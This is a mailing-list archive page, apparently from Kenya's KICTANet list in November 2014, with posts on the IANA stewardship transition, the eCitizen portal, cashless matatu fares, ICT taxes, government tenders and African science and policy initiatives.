---------- Forwarded message ---------- From: Mamadou LO <alfamamadou(a)hotmail.com> Date: Wed, Nov 5, 2014 at 1:51 PM Subject: [IANAOversight] Upcoming ICG Conference Calls To: "africann(a)afrinic.net" <africann(a)afrinic.net>, " ianaoversight(a)afrinic.net" <ianaoversight(a)afrinic.net> Hi all!! "The IANA Stewardship Transition Coordination Group (ICG) has scheduled its seventh, eighth and ninth conference calls" Upcoming ICG Conference Calls <https://www.icann.org/news/announcement-2-2014-11-04-en> https://www.icann.org/news/announcement-2-2014-11-04-en Good read! Mamadou _______________________________________________ ianaoversight mailing list ianaoversight(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/

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eCitizen Working Well
by Gideon 14 Nov '14

14 Nov '14

+ Aly, Walu, Dorcas for these observations, First off i appreciate that we are having such an encouraging conversation about the eCitizen government portal, for those who have had first hand experience on it. I think it is important to see that these comments will help improve the services and also express the fact that it is functional. I encourage that we continue to give our comments so that we can see the improved use of ICT's in government. Regards Gideon Rop DCA > Hi All, > > Wanted to pass a thumbs up to the ICT Authority Team, i used the eCitizen > portal to apply for a duplicate DL recently. > > All worked out very well. > > Thumbs up to the Pesapal team, that payment went very well! > > NTSA customer service was great. > > Times tower 3rd Floor team was bit slow, i forgive them as i got our old > paper booklet DL version for the replacement. > > I did not leave my desk to have these going which was even greater! My > messenger collected the DL painlessly too. > > Kudos to all behind the work. I guess Dr. Matiang'i, Victor, Dr. Getao, > Harry, Mugambi and entire team. > > -- > Muthoni > > My Blog: http://rugongo.blogspot.com/ > -------------------------------------------- > Mahatma Gandhi once said:- > > First they ignore you, > Then they laugh at you, > Then they fight you, > AND THEN YOU WIN!!! >

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eCitizen Working Well
by Dorcas Muthoni 13 Nov '14

13 Nov '14

Hi All, Wanted to pass a thumbs up to the ICT Authority Team, i used the eCitizen portal to apply for a duplicate DL recently. All worked out very well. Thumbs up to the Pesapal team, that payment went very well! NTSA customer service was great. Times tower 3rd Floor team was bit slow, i forgive them as i got our old paper booklet DL version for the replacement. I did not leave my desk to have these going which was even greater! My messenger collected the DL painlessly too. Kudos to all behind the work. I guess Dr. Matiang'i, Victor, Dr. Getao, Harry, Mugambi and entire team. -- Muthoni My Blog: http://rugongo.blogspot.com/ -------------------------------------------- Mahatma Gandhi once said:- First they ignore you, Then they laugh at you, Then they fight you, AND THEN YOU WIN!!!

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The burden of taxing ICTs
by Ali Hussein 13 Nov '14

13 Nov '14

Listers. Interesting article. KITOS, hope you are listening... Kenya has in the past few years showed promise of renewed innovative capacity, especially in the Information Communication Technology (ICT) sector. But the new tax regime precipitated by the East African Community (EAC) tax harmonisation is about to reverse all the gains we have made thus far. Read on http://www.nation.co.ke/oped/blogs/dot9/ndemo/-/2274486/2516562/-/1xv3f7z/-… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Masters Dissertation
by ANGEL A 13 Nov '14

13 Nov '14

Dear Listers, I would like to thank all the members who participated in the survey for my Master's dissertation who's encouraging results have been released. For those who were interested in reading my findings, l have attached a copy herein. I would also appreciate your comments, feedback or any information that would contribute to and/or complement the study and future studies in the area of mobile Internet security. Best regards, Angela. Chevening Alumni.

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Re: [kictanet] The burden of taxing ICTs
by Paul Korir 12 Nov '14

12 Nov '14

It's not clear to me how Kenya would gain from the ITA. http://online.wsj.com/articles/global-tech-firms-stand-to-gain-from-tariff-… Kenya is a net importer of technology. -- Regards, Paul K. Korir

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Does cashless matatu system have a regulatory framework?
by Walubengo J 12 Nov '14

12 Nov '14

The President launched the cashless matatu payment system in style last week. Boarding a matatu from State House to the City Centre, the President used the payment card “My1963” to pay his fare as the smiling Safaricom CEO, Bob Collymore, the Matatu Owners association Chairman, Simon Kimutai and the Cabinet Secretary for Transport and Infrastructure, Eng Michael Kamau all watched. Read more @ http://www.nation.co.ke/oped/blogs/dot9/walubengo/-/2274560/2518070/-/10ved… --------------------------- Additionally, you can read a bare knuckle view from Cofek ** 7 reasons why Cofek will fight to stop the #My1963 PSV's cashless payment fraud The National Transport Safety Authority (NTSA) plan to go cashless on fare payments effective December 1, 2014 though welcome cannot escape public scrutiny. Clearly, majority commuters are not ready thanks to the very poor and less than transparent handling of the cashless fare payments for Public Service Vehicles (PSV’s). If digital migration switch-off of analogue TV signal could go to the Supreme Court, then the architects behind the so-called #My1963 fraud must not celebrate just yet. Why? READ more @ http://www.cofek.co.ke/index.php/14-news/872-7-reasons-why-cofek-will-fight… -------- walu.

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Fwd: [AfrICANN-discuss] Fwd: [IANAOversight] IANA stewardship transition Questionaire
by Bob Omondi 12 Nov '14

12 Nov '14

FYI.... ---------- Forwarded message ---------- From: Seun Ojedeji <seun.ojedeji(a)gmail.com> Date: 2014-11-11 22:58 GMT+03:00 Subject: [AfrICANN-discuss] Fwd: [IANAOversight] IANA stewardship transition Questionaire To: FOSSFA members <members(a)mail.fossfa.net>, "africann(a)afrinic.net" < africann(a)afrinic.net>, "afnog(a)afnog.org" <afnog(a)afnog.org> Fyi *** [French Version available further down] **** Dear Colleagues, AFRNIC is seeking community input on the IANA Stewardship Transition to assist in the development of a proposal from the AFRINIC region that will be consolidated into the join Nimber community’s contribution. We encourage you to complete this short survey, which will take you less than five minutes of your time: http://survey.afrinic.net/index.php?sid=72285&lang=en Survey period: 11 to 18 Nov 2014 at 18:00 UTC. Background ---------- On March 2014, the United States Government's National Telecommunications and Information Administration (NTIA) announced its intention to transition away from its oversight of the IANA functions and hand this role over to the global multistakeholder community. The current contract expires on 30 September 2015. The IANA functions, currently managed by the Internet Corporation for Assigned Names and Numbers (ICANN), include the management of the global Internet number resources registry (IPv4, IPv6 and ASN). AFRINIC, together with the other four RIRs, is one of the IANA's key stakeholders. A global consultation has been launched by the IANA Stewardship Coordination Group (ICG) to enable a comprehensive proposal, which includes input from all stakeholders, to be prepared. The proposal will be submitted to the NTIA by September 2015. In order to gather input from the AFRINIC region and contribute this into the proposal, AFRINIC is conducting a regional consultation by way of this survey. The other four RIRs are also conducting similar surveys in their own regions. The outcomes of the survey will guide our discussion during the IANA Oversight Transition discussion session taking place during the AFRINIC-21 Meeting in Mauritius, 22-28 November, 2014. Remote participation will be facilitated. Find out more about the IANA Oversight Transition and how you can have your say at: http://afrinic.net/en/community/iana-oversight-transition We look forward to your input. ————————————————————[ FRENCH ]———————————————————— Chers collègues, AFRINIC sollicite le point de vue de la communauté sur la transition du mechanism de supervision de la fonction IANA. Votre contribution aidera à définir la position d’AFRINIC dans la proposition commune que soumettra la communauté des 5 RIR. Nous vous encourageons vivement à répondre à ce questionnaire qui ne prendra que cinq minutes de votre temps et dont les informations collectées serviront a enrichir les discussions: http://survey.afrinic.net/index.php?sid=23246&lang=en Le questionnaire sera ouvert en ligne du 11 au 18 Nov 2014 a 18:00 UTC Contexte ———————— En Mars 2014, l'Administration Nationale des Telecommunications et de l'Information (NTIA) du gouvernement américain a annoncé son intention de transférer son rôle de supervision des fonctions de l'IANA à la communauté mondiale multipartite. Le contrat actuel de supervision arrive à expiration le 30 Septembre 2015. Les fonctions de l'IANA, actuellement gérées par la Société pour l'Attribution des Noms de domaine et des Numéros sur Internet (ICANN) incluent la gestion globale des ressources numériques Internet (IPv4, IPv6 et l'ASN) administré régionalement par les RIRs. Pour rappel, AFRINIC, tout comme quatre autres RIRs, est l'un des principaux récipiendaires des services de l'IANA. Une consultation mondiale a été lancée par le Groupe de Coordination de la transition du rôle de supervision des fonctions IANA (ICG) afin de parvenir à une proposition globale. Laquelle proposition qui devra inclure la contribution de toutes les parties prenantes. Une fois finalisée, cette proposition sera soumise à la NTIA en Septembre 2015. Afin de faire connaitre la position de sa communauté AFRINIC conduit une consultation régionale dont ce sondage est un élément. Les quatre autres RIRs conduisent également des consultations similaires dans leurs regions respectives. Les résultats de ce sondage serviront de base pour les discussions lors de la séance dédiée à la Transition du rôle de la supervision des fonctions de l'IANA pendant la réunion d'AFRINIC-21 qui se tiendra à Maurice du 22-28 Novembre 2014. La participation à distance à cette séance sera disponible. Pour plus d’information sur le processus de transition de la fonction IANA et comment y contribuer, visitez: http://afrinic.net/en/community/iana-oversight-transition Merci d’avance pour votre cooperation. ________________________________________ Adiel A. Akplogan Chief Executive Officer, AFRINIC t: +230 403-5101 | f: +230 466-6758 adiel(a)afrinic.net | wwww.afrinic.net _______________________________________________ ianaoversight mailing list ianaoversight(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight -- ------------------------------------------------------------------------ *Seun Ojedeji,Federal University Oye-Ekitiweb: http://www.fuoye.edu.ng <http://www.fuoye.edu.ng> Mobile: +2348035233535**alt email: <http://goog_1872880453>seun.ojedeji(a)fuoye.edu.ng <seun.ojedeji(a)fuoye.edu.ng>* The key to understanding is humility - my view ! _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Fwd: [aisi-ig-l] FW: IANA stewardship transition Questionaire
by Barrack Otieno 12 Nov '14

12 Nov '14

---------- Forwarded message ---------- From: Towela Nyirenda-Jere <towelan(a)nepad.org> Date: Wed, Nov 12, 2014 at 7:36 AM Subject: [aisi-ig-l] FW: IANA stewardship transition Questionaire To: Discussion List on African Internet Governance Forum < aisi-ig-l(a)dgroups.org> Fyi *** [French Version available further down] **** Dear Colleagues, AFRNIC is seeking community input on the IANA Stewardship Transition to assist in the development of a proposal from the AFRINIC region that will be consolidated into the join Nimber community’s contribution. We encourage you to complete this short survey, which will take you less than five minutes of your time: http://survey.afrinic.net/index.php?sid=72285&lang=en Survey period: 11 to 18 Nov 2014 at 18:00 UTC. Background ---------- On March 2014, the United States Government's National Telecommunications and Information Administration (NTIA) announced its intention to transition away from its oversight of the IANA functions and hand this role over to the global multistakeholder community. The current contract expires on 30 September 2015. The IANA functions, currently managed by the Internet Corporation for Assigned Names and Numbers (ICANN), include the management of the global Internet number resources registry (IPv4, IPv6 and ASN). AFRINIC, together with the other four RIRs, is one of the IANA's key stakeholders. A global consultation has been launched by the IANA Stewardship Coordination Group (ICG) to enable a comprehensive proposal, which includes input from all stakeholders, to be prepared. The proposal will be submitted to the NTIA by September 2015. In order to gather input from the AFRINIC region and contribute this into the proposal, AFRINIC is conducting a regional consultation by way of this survey. The other four RIRs are also conducting similar surveys in their own regions. The outcomes of the survey will guide our discussion during the IANA Oversight Transition discussion session taking place during the AFRINIC-21 Meeting in Mauritius, 22-28 November, 2014. Remote participation will be facilitated. Find out more about the IANA Oversight Transition and how you can have your say at: http://afrinic.net/en/community/iana-oversight-transition We look forward to your input. ————————————————————[ FRENCH ]———————————————————— Chers collègues, AFRINIC sollicite le point de vue de la communauté sur la transition du mechanism de supervision de la fonction IANA. Votre contribution aidera à définir la position d’AFRINIC dans la proposition commune que soumettra la communauté des 5 RIR. Nous vous encourageons vivement à répondre à ce questionnaire qui ne prendra que cinq minutes de votre temps et dont les informations collectées serviront a enrichir les discussions: http://survey.afrinic.net/index.php?sid=23246&lang=en Le questionnaire sera ouvert en ligne du 11 au 18 Nov 2014 a 18:00 UTC Contexte ———————— En Mars 2014, l'Administration Nationale des Telecommunications et de l'Information (NTIA) du gouvernement américain a annoncé son intention de transférer son rôle de supervision des fonctions de l'IANA à la communauté mondiale multipartite. Le contrat actuel de supervision arrive à expiration le 30 Septembre 2015. Les fonctions de l'IANA, actuellement gérées par la Société pour l'Attribution des Noms de domaine et des Numéros sur Internet (ICANN) incluent la gestion globale des ressources numériques Internet (IPv4, IPv6 et l'ASN) administré régionalement par les RIRs. Pour rappel, AFRINIC, tout comme quatre autres RIRs, est l'un des principaux récipiendaires des services de l'IANA. Une consultation mondiale a été lancée par le Groupe de Coordination de la transition du rôle de supervision des fonctions IANA (ICG) afin de parvenir à une proposition globale. Laquelle proposition qui devra inclure la contribution de toutes les parties prenantes. Une fois finalisée, cette proposition sera soumise à la NTIA en Septembre 2015. Afin de faire connaitre la position de sa communauté AFRINIC conduit une consultation régionale dont ce sondage est un élément. Les quatre autres RIRs conduisent également des consultations similaires dans leurs regions respectives. Les résultats de ce sondage serviront de base pour les discussions lors de la séance dédiée à la Transition du rôle de la supervision des fonctions de l'IANA pendant la réunion d'AFRINIC-21 qui se tiendra à Maurice du 22-28 Novembre 2014. La participation à distance à cette séance sera disponible. Pour plus d’information sur le processus de transition de la fonction IANA et comment y contribuer, visitez: http://afrinic.net/en/community/iana-oversight-transition Merci d’avance pour votre cooperation. ________________________________________ Adiel A. Akplogan Chief Executive Officer, AFRINIC t: +230 403-5101 | f: +230 466-6758 adiel(a)afrinic.net | wwww.afrinic.net _______________________________________________ ianaoversight mailing list ianaoversight(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight -- You are receiving this message because you are a member of the community Discussion List on African Internet Governance Forum <https://dgroups.org/groups/aisi-ig-l>. View this contribution on the web site <https://dgroups.org/_/685ck4bg> A reply to this message will be sent to all members of Discussion List on African Internet Governance Forum. Reply to sender <towelan(a)nepad.org> | Unsubscribe <leave.aisi-ig-l(a)dgroups.org> -- Barrack O. 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Re: [kictanet] Does cashless matatu system have a regulatory framework?
by Walubengo J 11 Nov '14

11 Nov '14

True that Adam, Monopolies are not necessarily bad since they can ensure a consolidated market to justify investments. HOWEVER "Private monopolies" rather than "Public monopolies" is a different ball game altogether. From my limited travels into the developed North, most (the bulk) of their transport system is under the Public Metropolitan/County government - with room for private sector intervention and innovations. In Kenya we seem to have got it upside down. Private sector single handedly runs our public transport system - and you can see where this landed us. I miss the days when I was just 10years old and was allowed to use the Public transport aka Kenya Bus Service in 1980s to go alone to public primary school (now @MbuguaNjihia has confirmed am ancient :-) Indeed I am quite suprised by the loud silence from the Nairobi County government. Perhaps they are also lost in terms of how, where, when and if they could get involved in this cashless payment system. The big picture (regulatory/market structure) seems to be in limited circulation. walu. -------------------------------------------- On Tue, 11/11/14, Adam Nelson via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Subject: Re: [kictanet] Does cashless matatu system have a regulatory framework? To: jwalu(a)yahoo.com Date: Tuesday, November 11, 2014, 1:00 PM It's not unreasonable to have a single, mandated card for this purpose. New York's MetroCard is a great example (as is the Oyster Card). Virtually every city I've been to has one and only one card for mass transportation. https://en.wikipedia.org/wiki/MetroCard_(New_York_City) As with most things, NYC Transit outsources most of the underlying infrastructure to a private company: https://en.wikipedia.org/wiki/Cubic_Transportation_Systems As long as the margins are well defined, there is little in-house fraud, and the system generally works, the lack of competition isn't such a big deal. The most important thing is that the numbers are published and audited regularly and that the underlying vendor can be replaced in the future (i.e. Nairobi County maintains intellectual property over key assets so there's no vendor lock-in beyond the contract period). -Adam --Kili - Cloud for Africa: kili.io Musings: twitter.com/varudMore Musings: varud.comAbout Adam: www.linkedin.com/in/adamcnelson On Tue, Nov 11, 2014 at 12:41 PM, Mwendwa Kivuva via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Thanks Walu. You certainly ask valid questions. What comes to mind is consumer protection, and ensuring data collected about consumers is not used in ways that the consumer does not ascent to. I'm assuming we will read the terms of service. I don't expect any player in the industry to be a monopoly, and certaily my1963 card wil operate alongside BebaPay and AbiriaCard. What I would also like to see is the ability to pay with our NFC enabled debit and credit cards. Consumers should have a choice. Cofek's appeal is mostly based on Article 10 of the constitution where government is expected to involve all stakeholders holders (yes multistakeholderism is here to stay) in decision making. If there was a stakeholders forum, many of these questions would have been asked there. Well, the cashles system has worked before in Kenya hitherto with mixed reactions from the commuters. I support it bearing in mind the many times I've forgotten my change. As agents of changes in society, we should support the initiative, and let it mature. We can learn from other cities, especially Transport for London which has a very successful Oyster Card. Regards On Tuesday, 11 November 2014, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Hi Walu, We are in interesting times, what happens to the squad fellows? They normally get a tenth of the fare for their touting. I wonder whether a feasibility study was done. The Matatu culture is too complicated , this system would work with a more organized Nyayo Bus or KBS kind of system. My 2 cents On 11/11/14, Walubengo J via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > The President launched the cashless matatu payment system in style last > week. > > Boarding a matatu from State House to the City Centre, the President used > the payment card “My1963” to pay his fare as the smiling Safaricom CEO, Bob > Collymore, the Matatu Owners association Chairman, Simon Kimutai and the > Cabinet Secretary for Transport and Infrastructure, Eng Michael Kamau all > watched. > > Read more @ > http://www.nation.co.ke/oped/blogs/dot9/walubengo/-/2274560/2518070/-/10ved… > > --------------------------- > Additionally, you can read a bare knuckle view from Cofek > ** 7 reasons why Cofek will fight to stop the #My1963 PSV's cashless payment > fraud > > The National Transport Safety Authority (NTSA) plan to go cashless on fare > payments effective December 1, 2014 though welcome cannot escape public > scrutiny. > > Clearly, majority commuters are not ready thanks to the very poor and less > than transparent handling of the cashless fare payments for Public Service > Vehicles (PSV’s). > > If digital migration switch-off of analogue TV signal could go to the > Supreme Court, then the architects behind the so-called #My1963 fraud must > not celebrate just yet. Why? > > READ more @ > http://www.cofek.co.ke/index.php/14-news/872-7-reasons-why-cofek-will-fight… > -------- > walu. > > _______________________________________________ > kictanet mailing list > kictanet(a)lists.kictanet.or.ke > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > Unsubscribe or change your options at > https://lists.kictanet.or.ke/mailman/options/kictanet/otieno.barrack%40gmai… > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for > people and institutions interested and involved in ICT policy and > regulation. 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Re: [kictanet] AfTLD’s Initial Registry Operation Workshop to be held in Lesotho from 10 to 14 November 2014
by Barrack Otieno 10 Nov '14

10 Nov '14

The African Top Level Domains Organization (AfTLD), the association of African country code top level domains (ccTLDs), has organized an initial Registry Operation Course (IROC) in Maseru, Lesotho. The workshop which will be hosted by Lesotho Communications Authority, will be held from 10th – 14th November 2014. The workshop is in line with AfTLD’s program to enhance management of registry infrastructure on the African Continent. 35 participants from 10 countries will participate in the workshop. For further information contact the AfTLD secretariat at secretariat(at)aftld.org. or www.aftld.org/irocls About AfTLD The African Top Level Domains Organization was established in 2002 to act as a focal point for African Country Code Top Level Domain (ccTLD) managers in coordinating, formulating, developing and presenting a unified approach to issues related to the Domain Name System. The African Top Level Domains Organization also presents a forum for sharing ideas between the regions Internet community with an aim of promoting the utilization of national country’s Top Level Domains.

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Tenders information from the ICT Authority
by Phyllis Nyambura 10 Nov '14

10 Nov '14

Listers, The ICT Authority has advertised several tenders aimed at meeting the needs of various projects. Below are some of the Tenders/ Bids that are still open: *1) **FUNDING FOR IT & ITES SMEs and START-UPS* ICT Authority has partnered with International Trade Centre and KITOs to provide in depth capacity building and market penetration support for 33 start-ups, as well as local export and export-ready companies for the next three years. In this regard, the fund is looking to offer financing to ICT start-ups and SME’s. If you are or you know of an SME's that would fit the profile do ask them to apply for this funding. More information on* http://www.icta.go.ke/call/ <http://www.icta.go.ke/call/>* *The deadline for application is on Thursday, November, 13th, 2014 midnight Nairobi time. *The programme is supported by the Netherlands Trust Fund (NTF). More information email *ntf3(a)intracen.org <ntf3(a)intracen.org>* 2) *KENYA NEWS AGENCY DIGITISATION (Scanning, cataloging, of multimedia Management system, and configuration of an e-commerce service website for KNA)* Kenya News Agency (KNA) is digitizing it's collection of images gathered since the 1940's. The ICT Authority is managing and funding the project through World Bank. Two requests for services have been advertised, one for the establishment of an e-commerce portal and another one for the scanning and digitization of the hardcopy images.* Deadlines for applications are in early December, 2014.* More information on the Bid/Tender: http://www.icta.go.ke/tender-kenya-news-agency/ *3) **BRAND IDENTITY AND COMMUNICATION STRATEGY DEVELOPMENT AND IMPLEMENTATION FOR COUNTY ICT TRANSFORMATION & TCIP PROJECTS* The ICT Authority is seeking a Consultant/ Consulting Firm to develop a Communication strategy and Brand Identity for TCIP and TCIP related projects. The Consultant/ Consulting Firm shall also assist in the implementation of the communication strategy and brand identity for the project duration of 2 years. *Deadline: November 14th, 2014* http://www.icta.go.ke/eoi-brand-identity-communication-strategy-development… *4) **SUPPLY, INSTALLATION, COMMISSIONING AND SUPPORT OF MIDDLEWARE AND DATABASE FOR THE TRANSPORT INTEGRATED MANAGEMENT SYSTEM AT THE NATIONAL SAFETY AND TRANSPORT AUTHORITY, MINISTRY OF TRANSPORT AND INFRASTRUCTURE* *More information on: http://www.icta.go.ke/tender-ntsa-middleware/ <http://www.icta.go.ke/tender-ntsa-middleware/>* Kind Regards, Phyllis Nyambura Communication Writer The ICT Authority Telposta Towers, 12th Floor, Kenyatta Ave P.O. Box 27150 - 00100 Nairobi, Kenya t: + 254-020-2211960/62 | m: + 254 (0) 789396433 | e: pnyambura(a)ict.go.ke Email: info(a)ict.go.ke or communications(a)ict.go.ke Visit: www.icta.go.ke <http://www.ict.go.ke/> Become a fan: www.facebook.com/ICTAuthorityKE <http://www.facebook.com/kenyaictboard> Follow us on twitter: @ICTAuthorityKE --------------------- -- ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Geneva Internet Conference - Internet Governance at a Crossroads - 18 to 19 Nov 2014
by Victor Kapiyo 10 Nov '14

10 Nov '14

This is coming up soon. The Geneva Internet Conference (GIC) will address critical issues, gaps, and future developments in Internet governance (IG) and digital politics. The conference will provide a neutral and inclusive space for debates as it paves the way to 2015, building on the main events and developments in 2014, including announcement of the transition of the IANA oversight of Internet functions, NETmundial and the Internet Governance Forum. For more details, please see: http://giplatform.org/gic Victor Victor Kapiyo ==================================================== *"Your attitude, not your aptitude, will determine your altitude" Zig Ziglar*

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Technology escrow: safeguard IP assets and ensure business continuity [with corrected link]
by Mbugua Njihia 09 Nov '14

09 Nov '14

It is said that software is eating the world and the data is available to back it with all sorts of acronyms such as SaaS and PaaS coming to the fore and defining the global shift to the proverbial cloud. This migration has also birthed new companies that are looking to deliver business efficiencies riding off these emergent technologies. However, the move from legacy systems by older enterprises and the adoption of new technology by freshly minted businesses faces one major stumbling block; that of business continuity - http://www.mbuguanjihia.com/business/technology-escrow-safeguard-ip-ensure-… ᐧ

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Technology escrow: safeguard IP assets and ensure business continuity
by Mbugua Njihia 09 Nov '14

09 Nov '14

It is said that software is eating the world and the data is available to back it with all sorts of acronyms such as SaaS and PaaS coming to the fore and defining the global shift to the proverbial cloud. This migration has also birthed new companies that are looking to deliver business efficiencies riding off these emergent technologies. However, the move from legacy systems by older enterprises and the adoption of new technology by freshly minted businesses faces one major stumbling block; that of business continuity - http://www.mbuguanjihia.com/business/technology-escrow-safeguard-ip-ensure-… l ᐧ

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Taking stock of Open Data initiatives and a perspective of the gains
by Ali Hussein 09 Nov '14

09 Nov '14

Listers We have been really silent about open data for a while. It's time we take stock and ask whether we can breath new life into this initiative. As we reflect on it an article I found should put into perspective the gains, set backs and why this issue should be kept alive. http://datascience.co.ke/blog/the-underplayed-outcomes-of-kenya-open-data-i… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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KONZA; Biggest cart before the horse?
by Ngigi Waithaka 08 Nov '14

08 Nov '14

This is interesting reading... http://www.nation.co.ke/oped/Opinion/Human-capital-turbo-charge-economy/-/4… -- *Regards,* *Wait**haka Ngigi* Chief Executive Officer | Alliance Technologies | MCK Nairobi Synod Building T + 254 (0) 20 2333 471 |Office Mobile: +254 786 28 28 28 | M + 254 737 811 000 www.at.co.ke

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CIO-PwC CIO100 Trends Report
by Harry Hare | African eDevelopment Resource Centre 08 Nov '14

08 Nov '14

Dear All, On Thursday 13th November, we will be launching the CIO-PwC CIO100 Trends Report based on the CIO100 survey that PwC has been conducting for the last 3 months. This will be at the CIO100 Symposium at the Enashipai Resort 13-14 November after which the CIO100 Honourees will be awarded and honoured. I have attached the Agenda for the symposium for those who are interested. And some more information is here cio100.co Apologies for cross posting. Harry Hare Director | African eDevelopment Resource Centre PO Box 49475 00100 | Nairobi, Kenya Tel +254 20 4041646 | Cel +254 725 650044

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Fwd: Flashlight Cyber Crime on your Smart Phone!!!
by Lizette Kraft 08 Nov '14

08 Nov '14

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Re: [kictanet] African Union Agenda 2063 aspirations: Request for input/contributions
by Alice Munyua 07 Nov '14

07 Nov '14

My apologies I did not attach the African Union 2063 agenda and aspirations. Best Alice > Dear Colleagues, > > (Apologies for cross posting) > > During the Africa ICT week in 2012, African Heads of State and governments > of the African Union adopted Agenda 2063, which contains seven aspiration > for "the Africa we want" > 1) A prosperous Africa based on inclusive growth and sustainable > development > 2) An integrated continent, politically united and based on the ideal Pan > Africanism and the vision of Africa’s Renaissance. > 3) An Africa of Good Governance, Democracy, Respect for human rights, > Justice and the Rule of law > 4) A Peaceful and Secure Africa > 5) An Africa with a strong cultural identity, common heritage, shared > values and ethics > 6) An Africa where development is people-driven, unleashing the potential > of women and youth > 7) Africa as a strong, united and influential global player and partner > > The African Union Commission (AUC) is seeking stakeholder input and > comments on how the "ICT Sector" would contribute to these aspirations. > > I) How ICT can contribute to each aspirations), > ii) how to set up a regular AU and the African stakeholders a coordination > mechanism to develop and monitor continental projects, > iii) how to tape on our own African (financial) and human resources to > implement our continental programs > > Stakeholder contributions will form part of the final documents for the > AU Summit. > > Attached, the AU agenda 2063 aspirations. > > Please send comments to > Moctar Yedaly <YedalyM(a)africa-union.org> > > > Best regards > > Alice > > > > > >

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Fwd: [Members] Fwd: [AIMS-chat] Fwd: NEF launches search for Africa's top 15 young scientists - Apply Now! (Closing 30 November 2014)
by Mwendwa Kivuva 07 Nov '14

07 Nov '14

FYI As announced in June 2013 by Thierry Zomahoun (President & CEO of the AIMS Global Network) at the AIMS Global Alumni Reunion, we have launched the Next Einstein Forum (NEF) in partnership with the Robert Bosch Stiftung. The NEF is a new global forum for science in Africa that will propel Africa onto the global scientific stage. Further information on the NEF can be found below and on our recently launched website at www.nef.org As part of the NEF, we are looking to identify 15 of Africa's top young scientists (including social scientists) in order to showcase them on the global stage, connecting them with leaders from industry, funding agencies, government, and civil-society and to feature them as ambassadors of the excellence in science taking place today across Africa. Full information is available in English and French at www.nef.org/fellows. The selection panel will include eminent scientists from around the world including Nobel Laureates. As AIMS alumni, you are a very special group of Africa's leading mathematical scientists and we want to ask for your help in two ways: 1. Consider applying as a NEF Fellow! The application process will not take too long to complete and the entire programme is designed to be a springboard to further success. 2. Help us to find the best young scientists (born in 1973 or later) from across the continent - please forward this call to others that you feel would be excellent NEF Fellows - the competition is open to all, including those who are not AIMS alumni. If you need any more information (not covered online or below) or if you have any questions, please contact us at fellows(a)nef.org Apply online at www.nef.org. The Deadline for applications is November 30th, 2014. Thank you and good luck to applicants. Your AIMS and NEF teams. *** *More about the NEF:* The Next Einstein Forum (NEF), an AIMS initiative in partnership with the Robert Bosch Stiftung, is a new global forum for science in Africa that will propel Africa onto the global scientific stage. The NEF will unite more than 500 outstanding thinkers and distinguished stakeholders from around the world together in Africa. NEF Global Gatherings, held every second year, will showcase 15 of Africa's top young scientists and connect them with leaders from Africa and the rest of the world in high-profile, invitation-only forums. These leading scientists, policy-makers, business people, journalists, civil-society representatives and entrepreneurs will highlight breakthrough discoveries and catalyze scientific collaboration for human development. To be held in Senegal as a 3-day event in October 2015, the NEF will touch on the three pillars of science, society and policy. A main component of this three day event will be to showcase 15 of Africa's top young scientists and social scientists connecting them with leaders from policy, industry and civil society from Africa and the rest of the world. These 15 NEF Fellows will form the first class of the NEF's Fellows Programme. *More about the NEF Fellows Programme:* We are looking for the best and that's why we launched a Call for Applications on October 31, 2014. The fellows programme is open to all Africans from around the world - including those who currently reside in the Diaspora - in all fields of science, including the social sciences and technology fields. To be eligible to be a NEF Fellow, applications must: - Be 42 years of age or less as of 31.12.2015 (Born after 1 January 1973) - Hold a passport from an African country - Have completed advanced studies in STEM or social science fields - Have demonstrated track record of research/findings that have impact globally - Be passionate about raising Africa's profile in science and/or social science - Be able to clearly present their work to an audience in English or French To be selected, applicants must have: - Outstanding academic qualifications, as measured by the standards of the particular academic discipline. Examples of notable achievements include: - Publication record - Prizes and other awards, such as especially distinguished fellowships or memberships in prestigious academic circles (for example, in high-ranking committees, bodies, academies, etc.) - Independently raised funding from outside sources in a competitive process - Number of patents - The type and number of invited talks at international conferences - Academic maturity and clear evidence of own research profile and direction. Examples of this include being the leader of an independent research group - Demonstrated commitment to improving and impacting society, notably Africa - Exceptional communication ability Selection will be done by a panel of eminent scientists including Nobel Laureates, and is expected to be done via in-person interviews. The process will be as rigorous as the benefits great. Below are just a few benefits that come with a NEF Fellowship. NEF Fellows will: - Attend the prestigious, invitation-only NEF Global Gathering in October 2015 alongside Nobel Prize winners, Heads of State and representatives from leading global corporations - Increase their global visibility among scientists representing Africa, leading thinkers, policy-makers, industry and civil society leaders, and be featured, interviewed and showcased widely to an expected 100 million viewers and readers worldwide - Take advantage of the opportunity to mentor and inspire other young, exceptional scientific talent from Africa - Interact with, receive mentoring from, and partner with leading scientists, policy-makers, industry representatives and civil-society leaders, as well as other exceptional young African scientists - Contribute to the establishment of a positive global view of science in Africa - Application and programme participation are completely free To apply, visit www.nef.org. Deadline for applications is November 30, 2014. Please note that applications can be submitted in English or in French. *DISCLAIMER*: The contents of this email and any attachments are confidential. They are intended for the named recipient(s) only. If you have received this email by mistake, please notify the sender immediately and you are herewith notified that the contents are legally privileged and that you do not have permission to disclose the contents to anyone, make copies thereof, retain or distribute or act upon it by any means, electronically, digitally or in print. The views expressed in this communication may be of a personal nature and not be representative of *AIMS-NEI* and/or any of it's *Centres* or 